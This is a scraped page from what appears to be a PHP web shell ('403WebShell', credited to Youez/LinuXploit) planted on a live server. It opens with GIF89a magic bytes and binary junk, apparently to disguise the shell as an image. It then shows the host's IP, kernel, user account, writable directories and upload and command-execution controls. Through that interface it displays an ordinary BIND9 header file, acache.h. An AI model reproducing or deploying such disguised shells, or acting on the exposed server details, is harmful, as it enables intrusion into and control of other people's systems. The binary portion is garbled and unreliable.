GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 3.142.135.247
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/bind9/dns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/include/bind9/dns/acache.h
/*
 * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 *
 * See the COPYRIGHT file distributed with this work for additional
 * information regarding copyright ownership.
 */

/* $Id: acache.h,v 1.8 2007/06/19 23:47:16 tbox Exp $ */

#ifndef DNS_ACACHE_H
#define DNS_ACACHE_H 1

/*****
 ***** Module Info
 *****/

/*
 * Acache
 *
 * The Additional Cache Object
 *
 *	This module manages internal caching entries that correspond to
 *	the additional section data of a DNS DB node (an RRset header, more
 *	accurately).  An additional cache entry is expected to be (somehow)
 *	attached to a particular RR in a particular DB node, and contains a set
 *	of information of an additional data for the DB node.
 *
 *	An additional cache object is intended to be created as a per-view
 *	object, and manages all cache entries within the view.
 *
 *	The intended usage of the additional caching is to provide a short cut
 *	to additional glue RRs of an NS RR.  For each NS RR, it is often
 *	necessary to look for glue RRs to make a proper response.  Once the
 *	glue RRs are known, the additional caching allows the client to
 *	associate the information to the original NS RR so that further
 *	expensive lookups can be avoided for the NS RR.
 *
 *	Each additional cache entry contains information to identify a
 *	particular DB node and (optionally) an associated RRset.  The
 *	information consists of its zone, database, the version of the
 *	database, database node, and RRset.
 *
 *	A "negative" information can also be cached.  For example, if a glue
 *	RR does not exist as an authoritative data in the same zone as that
 *	of the NS RR, this fact can be cached by specifying a NULL pointer
 *	for the database, version, and node.  (See the description for
 *	dns_acache_getentry() below for more details.)
 *
 *	Since each member stored in an additional cache entry holds a reference
 *	to a corresponding object, a stale cache entry may cause unnecessary
 *	memory consumption.  For instance, when a zone is reloaded, additional
 *	cache entries that have a reference to the zone (and its DB and/or
 *	DB nodes) can delay the cleanup of the referred objects.  In order to
 *	minimize such a bad effect, this module provides several cleanup
 *	mechanisms.
 *
 *	The first one is a shutdown procedure called when the associated view
 *	is shut down.  In this case, dns_acache_shutdown() will be called and
 *	all cache entries will be purged.  This mechanism will help the
 *	situation when the configuration is reloaded or the main server is
 *	stopped.
 *
 *	Per-DB cleanup mechanism is also provided.  Each additional cache entry
 *	is associated with related DB, which is expected to have been
 *	registered when the DB was created by dns_acache_setdb().  If a
 *	particular DB is going to be destroyed, the primary holder of the DB,
 *	a typical example of which is a zone, will call dns_acache_putdb().
 *	Then this module will clean-up all cache entries associated with the
 *	DB.  This mechanism is effective when a secondary zone DB is going to
 *	be stale after a zone transfer.
 *
 *	Finally, this module supports for periodic clean-up of stale entries.
 *	Each cache entry has a timestamp field, which is updated every time
 *	the entry is referred.  A periodically invoked cleaner checks the
 *	timestamp of each entry, and purge entries that have not been referred
 *	for a certain period.  The cleaner interval can be specified by
 *	dns_acache_setcleaninginterval().  If the periodic clean-up is not
 *	enough, it is also possible to specify the upper limit of entries
 *	in terms of the memory consumption.  If the maximum value is
 *	specified, the cleaner is invoked when the memory consumption reaches
 *	the high watermark inferred from the maximum value.  In this case,
 *	the cleaner will use more aggressive algorithm to decide the "victim"
 *	entries.  The maximum value can be specified by
 *	dns_acache_setcachesize().
 *
 *	When a cache entry is going to be purged within this module, the
 *	callback function specified at the creation time will be called.
 *	The callback function is expected to release all internal resources
 *	related to the entry, which will typically be specific to DB
 *	implementation, and to call dns_acache_detachentry().  The callback
 *	mechanism is very important, since the holder of an additional cache
 *	entry may not be able to initiate the clean-up of the entry, due to
 *	the reference ordering.  For example, as long as an additional cache
 *	entry has a reference to a DB object, the DB cannot be freed, in which
 *	a DB node may have a reference to the cache entry.
 *
 *	Credits:
 *	The basic idea of this kind of short-cut for frequently used
 *	information is similar to the "pre-compiled answer" approach adopted
 *	in nsd by NLnet LABS with RIPE NCC.  Our work here is an independent
 *	effort, but the success of nsd encouraged us to pursue this path.
 *
 *	The design and implementation of the periodic memory management and
 *	the upper limitation of memory consumption was derived from the cache
 *	DB implementation of BIND9.
 *
 * MP:
 *	There are two main locks in this module.  One is for each entry, and
 *	the other is for the additional cache object.
 *
 * Reliability:
 *	The callback function for a cache entry is called with holding the
 *	entry lock.  Thus, it implicitly assumes the callback function does not
 *	call a function that can require the lock.  Typically, the only
 *	function that can be called from the callback function safely is
 *	dns_acache_detachentry().  The breakage of this implicit assumption
 *	may cause a deadlock.
 *
 * Resources:
 *	In a 32-bit architecture (such as i386), the following additional
 *	memory is required comparing to the case that disables this module.
 *	- 76 bytes for each additional cache entry
 *	- if the entry has a DNS name and associated RRset,
 *	  * 44 bytes + size of the name (1-255 bytes)
 *	  * 52 bytes x number_of_RRs
 *	- 28 bytes for each DB related to this module
 *
 *	Using the additional cache also requires extra memory consumption in
 *	the DB implementation.  In the current implementation for rbtdb, we
 *	need:
 *	- two additional pointers for each DB node (8 bytes for a 32-bit
 *	  architecture
 *	- for each RR associated to an RR in a DB node, we also need
 *	  a pointer and management objects to support the additional cache
 *	  function.  These are allocated on-demand.  The total size is
 *	  32 bytes for a 32-bit architecture.
 *
 * Security:
 *	Since this module does not handle any low-level data directly,
 *	no security issue specific to this module is anticipated.
 *
 * Standards:
 *	None.
 */

/***
 *** Imports
 ***/

#include <isc/mutex.h>
#include <isc/lang.h>
#include <isc/refcount.h>
#include <isc/stdtime.h>

#include <dns/types.h>

/***
 *** Functions
 ***/
ISC_LANG_BEGINDECLS

isc_result_t
dns_acache_create(dns_acache_t **acachep, isc_mem_t *mctx,
		  isc_taskmgr_t *taskmgr, isc_timermgr_t *timermgr);
/*
 * Create a new DNS additional cache object.
 *
 * Requires:
 *
 *	'mctx' is a valid memory context
 *
 *	'taskmgr' is a valid task manager
 *
 *	'timermgr' is a valid timer or NULL.  If NULL, no periodic cleaning of
 *	the cache will take place.
 *
 *	'acachep' is a valid pointer, and *acachep == NULL
 *
 * Ensures:
 *
 *	'*acachep' is attached to the newly created cache
 *
 * Returns:
 *
 *	ISC_R_SUCCESS
 *	ISC_R_NOMEMORY
 *	ISC_R_UNEXPECTED
 */

void
dns_acache_attach(dns_acache_t *source, dns_acache_t **targetp);
/*
 * Attach *targetp to cache.
 *
 * Requires:
 *
 *	'acache' is a valid additional cache.
 *
 *	'targetp' points to a NULL dns_acache_t *.
 *
 * Ensures:
 *
 *	*targetp is attached to the 'source' additional cache.
 */

void
dns_acache_detach(dns_acache_t **acachep);
/*
 * Detach *acachep from its cache.
 *
 * Requires:
 *
 *	'*acachep' points to a valid additional cache.
 *
 * Ensures:
 *
 *	*acachep is NULL.
 *
 *	If '*acachep' is the last reference to the cache and the additional
 *	cache does not have an outstanding task, all resources used by the
 *	cache will be freed.
 */

void
dns_acache_setcleaninginterval(dns_acache_t *acache, unsigned int t);
/*
 * Set the periodic cleaning interval of an additional cache to 'interval'
 * seconds.
 */

void
dns_acache_setcachesize(dns_acache_t *acache, size_t size);
/*
 * Set the maximum additional cache size.  0 means unlimited.
 */

isc_result_t
dns_acache_setdb(dns_acache_t *acache, dns_db_t *db);
/*
 * Set 'db' in 'acache' when the db can be referred from acache, in order
 * to provide a hint for resolving the back reference.
 *
 * Requires:
 *	'acache' is a valid acache pointer.
 *	'db' is a valid DNS DB pointer.
 *
 * Ensures:
 *	'acache' will have a reference to 'db'.
 *
 * Returns:
 *	ISC_R_SUCCESS
 *	ISC_R_EXISTS	(which means the specified 'db' is already set)
 *	ISC_R_NOMEMORY
 */

isc_result_t
dns_acache_putdb(dns_acache_t *acache, dns_db_t *db);
/*
 * Release 'db' from 'acache' if it has been set by dns_acache_setdb().
 *
 * Requires:
 *	'acache' is a valid acache pointer.
 *	'db' is a valid DNS DB pointer.
 *
 * Ensures:
 *	'acache' will release the reference to 'db'.  Additionally, the content
 *	of each cache entry that is related to the 'db' will be released via
 *	the callback function.
 *
 * Returns:
 *	ISC_R_SUCCESS
 *	ISC_R_NOTFOUND	(which means the specified 'db' is not set in 'acache')
 *	ISC_R_NOMEMORY
 */

void
dns_acache_shutdown(dns_acache_t *acache);
/*
 * Shutdown 'acache'.
 *
 * Requires:
 *
 * 	'*acache' is a valid additional cache.
 */

isc_result_t
dns_acache_createentry(dns_acache_t *acache, dns_db_t *origdb,
		       void (*callback)(dns_acacheentry_t *, void **),
		       void *cbarg, dns_acacheentry_t **entryp);
/*
 * Create an additional cache entry.  A new entry is created and attached to
 * the given additional cache object.  A callback function is also associated
 * with the created entry, which will be called when the cache entry is purged
 * for some reason.
 *
 * Requires:
 *
 * 	'acache' is a valid additional cache.
 *	'entryp' is a valid pointer, and *entryp == NULL
 *	'origdb' is a valid DNS DB pointer.
 *	'callback' and 'cbarg' can be NULL.  In this case, however, the entry
 *	is meaningless (and will be cleaned-up in the next periodical
 *	cleaning).
 *
 * Ensures:
 *	'*entryp' will point to a new additional cache entry.
 *
 * Returns:
 *	ISC_R_SUCCESS
 *	ISC_R_NOMEMORY
 */

isc_result_t
dns_acache_getentry(dns_acacheentry_t *entry, dns_zone_t **zonep,
		    dns_db_t **dbp, dns_dbversion_t **versionp,
		    dns_dbnode_t **nodep, dns_name_t *fname,
		    dns_message_t *msg, isc_stdtime_t now);
/*
 * Get content from a particular additional cache entry.
 *
 * Requires:
 *
 * 	'entry' is a valid additional cache entry.
 *	'zonep' is a NULL pointer or '*zonep' == NULL (this is the only
 *	optional parameter.)
 *	'dbp' is a valid pointer, and '*dbp' == NULL
 *	'versionp' is a valid pointer, and '*versionp' == NULL
 *	'nodep' is a valid pointer, and '*nodep' == NULL
 *	'fname' is a valid DNS name.
 *	'msg' is a valid DNS message.
 *
 * Ensures:
 *	Several possible cases can happen according to the content.
 *	1. For a positive cache entry,
 *	'*zonep' will point to the corresponding zone (if zonep is a valid
 *	pointer),
 *	'*dbp' will point to a DB for the zone,
 *	'*versionp' will point to its version, and
 *	'*nodep' will point to the corresponding DB node.
 *	'fname' will have the DNS name of the DB node and contain a list of
 *	rdataset for the node (which can be an empty list).
 *
 * 	2. For a negative cache entry that means no corresponding zone exists,
 *	'*zonep' == NULL (if zonep is a valid pointer)
 *	'*dbp', '*versionp', and '*nodep' will be NULL.
 *
 *	3. For a negative cache entry that means no corresponding DB node
 *	exists, '*zonep' will point to the corresponding zone (if zonep is a
 *	valid pointer),
 *	'*dbp' will point to a corresponding DB for zone,
 *	'*versionp' will point to its version.
 *	'*nodep' will be kept as NULL.
 *	'fname' will not change.
 *
 *	On failure, no new references will be created.
 *
 * Returns:
 *	ISC_R_SUCCESS
 *	ISC_R_NOMEMORY
 */

isc_result_t
dns_acache_setentry(dns_acache_t *acache, dns_acacheentry_t *entry,
		    dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version,
		    dns_dbnode_t *node, dns_name_t *fname);
/*
 * Set content to a particular additional cache entry.
 *
 * Requires:
 *	'acache' is a valid additional cache.
 *	'entry' is a valid additional cache entry.
 *	All the others pointers are NULL or a valid pointer of the
 *	corresponding type.
 *
 * Returns:
 *	ISC_R_SUCCESS
 *	ISC_R_NOMEMORY
 *	ISC_R_NOTFOUND
 */

isc_boolean_t
dns_acache_cancelentry(dns_acacheentry_t *entry);
/*
 * Cancel the use of the cache entry 'entry'.  This function is supposed to
 * be called when the node that holds the entry finds the content is not
 * correct any more.  This function will try to release as much dependency as
 * possible, and will be ready to be cleaned-up.  The registered callback
 * function will be canceled and will never called.
 *
 * Requires:
 *	'entry' is a valid additional cache entry.
 *
 * Returns:
 * 	ISC_TRUE if the entry was active when canceled
 */

void
dns_acache_attachentry(dns_acacheentry_t *source, dns_acacheentry_t **targetp);
/*
 * Attach *targetp to the cache entry 'source'.
 *
 * Requires:
 *
 *	'source' is a valid additional cache entry.
 *
 *	'targetp' points to a NULL dns_acacheentry_t *.
 *
 * Ensures:
 *
 *	*targetp is attached to 'source'.
 */

void
dns_acache_detachentry(dns_acacheentry_t **entryp);
/*
 * Detach *entryp from its cache.
 *
 * Requires:
 *
 *	'*entryp' points to a valid additional cache entry.
 *
 * Ensures:
 *
 *	*entryp is NULL.
 *
 *	If '*entryp' is the last reference to the entry,
 *	cache does not have an outstanding task, all resources used by the
 *	entry (including the entry object itself) will be freed.
 */

void
dns_acache_countquerymiss(dns_acache_t *acache);
/*
 * Count up a missed acache query.  XXXMLG need more docs.
 */

ISC_LANG_ENDDECLS

#endif /* DNS_ACACHE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit